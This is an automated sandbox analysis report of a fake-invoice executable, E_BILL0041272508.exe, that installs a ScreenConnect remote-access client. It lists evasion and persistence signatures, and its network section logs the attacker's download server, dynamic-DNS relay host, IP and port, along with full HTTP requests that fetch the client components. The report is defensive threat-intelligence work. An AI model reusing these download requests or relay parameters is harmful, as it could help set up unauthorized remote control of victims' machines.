Windows Analysis Report
E_BILL0041272508.exe

Overview

General Information

Sample name: E_BILL0041272508.exe
Analysis ID: 1523876
MD5: 9ffc98a16aba4841e94b24ccabf219ab
SHA1: 31925b39e3255446a3b0803da2f75337329f6a65
SHA256: 453e8d5897ce07b29bc8df2312686cca8d2df37bcf43b1e7e0d5c8b0ee585a3f
Tags: exefiledn-comuser-JAMESWT_MHT
Infos:

Detection

ScreenConnect Tool
Score: 72
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Compliance

Score: 20
Range: 0 - 100

Signatures

Detected unpacking (creates a PE file in dynamic memory)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
.NET source code references suspicious native API functions
Contains functionality to hide user accounts
Deletes keys which are related to windows safe boot (disables safe mode boot)
Enables network access during safeboot for specific services
Initial sample is a PE file and has a suspicious name
Reads the Security eventlog
Reads the System eventlog
Uses dynamic DNS services
Adds / modifies Windows certificates
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to launch a process as a different user
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops certificate files (DER)
EXE planting / hijacking vulnerabilities found
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Launches processes in debugging mode, may be used to hinder debugging
May sleep (evasive loops) to hinder dynamic analysis
May use bcdedit to modify the Windows boot settings
Modifies existing windows services
PE file contains an invalid checksum
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports
Stores large binary data to the registry
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected ScreenConnect Tool

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: E_BILL0041272508.exe ReversingLabs: Detection: 18%
Source: E_BILL0041272508.exe Virustotal: Detection: 13% Perma Link
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B1000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_009B1000
EXE planting / hijacking vulnerabilities found
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe Jump to behavior

Compliance
barindex
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Unpacked PE file: 7.2.ScreenConnect.ClientService.exe.5020000.1.unpack
EXE planting / hijacking vulnerabilities found
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe Jump to behavior
Uses 32bit PE files
Source: E_BILL0041272508.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: E_BILL0041272508.exe Static PE information: certificate valid
Source: unknown HTTPS traffic detected: 79.110.49.16:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: E_BILL0041272508.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6E5000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC367000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2385098018.00000000021E2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Client.dll.2.dr, ScreenConnect.Client.dll0.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: E_BILL0041272508.exe
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6E1000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC363000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000007.00000002.2382809510.0000000002B12000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2435126842.0000000002241000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2435049004.00000000020E0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.dll.2.dr, ScreenConnect.ClientService.dll0.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbe source: ScreenConnect.WindowsClient.exe, 00000006.00000000.2369506289.00000000001E2000.00000002.00000001.01000000.0000000A.sdmp, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsClient.exe.2.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000007.00000000.2378580945.000000000002D000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC35F000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6DD000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2387012518.000000001B472000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.Windows.dll0.2.dr, ScreenConnect.Windows.dll.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000006.00000000.2369506289.00000000001E2000.00000002.00000001.01000000.0000000A.sdmp, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsClient.exe.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbW] source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC35F000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6DD000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2387012518.000000001B472000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.Windows.dll0.2.dr, ScreenConnect.Windows.dll.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6E5000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC367000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2385098018.00000000021E2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Client.dll.2.dr, ScreenConnect.Client.dll0.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6D5000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC47C000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000007.00000002.2383094950.0000000005022000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.Core.dll0.2.dr, ScreenConnect.Core.dll.2.dr
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B4A4B FindFirstFileExA, 0_2_009B4A4B
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\ Jump to behavior

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.6:49731
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.6:49734
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.6:49723
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.6:49725
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.6:49730
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.6:49736
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.6:49738
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.6:49737
Enables network access during safeboot for specific services
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Registry value created: NULL Service Jump to behavior
Uses dynamic DNS services
Source: unknown DNS query: name: mmf351.ddns.net
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.6:49740 -> 79.110.49.16:8041
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&s=b044e727-8609-4a6c-b885-92d6249fd38a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session HTTP/1.1Host: otohelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 79.110.49.16 79.110.49.16
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: OTAVANET-ASCZ OTAVANET-ASCZ
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&s=b044e727-8609-4a6c-b885-92d6249fd38a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session HTTP/1.1Host: otohelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic DNS traffic detected: DNS query: otohelp.top
Source: global traffic DNS traffic detected: DNS query: mmf351.ddns.net
Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: C56C4404C4DEF0DC88E5FCD9F09CB2F10.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt
Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: F2E248BEDDBB2D85122423C41028BFD40.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: dfsvc.exe, 00000002.00000002.3989443598.0000023CCC067000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0
Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: dfsvc.exe, 00000002.00000002.3989443598.0000023CCC067000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0pI
Source: svchost.exe, 00000004.00000002.3767047379.0000027458200000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: dfsvc.exe, 00000002.00000002.4003675157.0000023CE612B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl
Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: dfsvc.exe, 00000002.00000002.4003675157.0000023CE612B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl
Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: dfsvc.exe, 00000002.00000002.4003310166.0000023CE60F2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: dfsvc.exe, 00000002.00000002.3989443598.0000023CCBFF0000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.2.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.4.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.4.dr String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F1410.2.dr String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxX
